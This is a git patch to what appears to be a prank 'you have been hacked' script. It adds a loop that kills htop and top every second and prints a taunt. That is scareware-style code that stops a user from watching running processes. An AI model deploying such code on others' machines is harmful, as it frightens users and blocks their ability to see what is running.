From d968cdb9b3b5bd924012ee8e89c4b8c289db5ec6 Mon Sep 17 00:00:00 2001
From: Anonymus Raccoon
Date: Fri, 24 Apr 2020 20:52:44 +0200
Subject: [PATCH] Preventing the user to user htop or top
---
command_helper.py | 9 +++++++++
main.py | 9 +++++++++
2 files changed, 18 insertions(+)
create mode 100644 command_helper.py
diff --git a/command_helper.py b/command_helper.py
new file mode 100644
index 0000000..92f1b7d
--- /dev/null
+++ b/command_helper.py
@@ -0,0 +1,9 @@
+import os
+import subprocess
+
+
+class CommandHelper:
+ @staticmethod
+ def run(cmd):
+ with open(os.devnull, 'wb') as devnull:
+ return subprocess.call(cmd.split(' '), stdout=devnull, stderr=subprocess.STDOUT)
diff --git a/main.py b/main.py
index cd57927..63a170e 100755
--- a/main.py
+++ b/main.py
@@ -1,4 +1,13 @@
#!/usr/bin/env python3
+import os
+import time
+
from term_utils import TermUtils
+from command_helper import CommandHelper
TermUtils.print("YOU HAVE BEEN HACKED.\n")
+
+while True:
+ if CommandHelper.run("killall htop") == 0 or CommandHelper.run("killall top") == 0:
+ TermUtils.print("You tough that this will be as easy as this?\n")
+ time.sleep(1)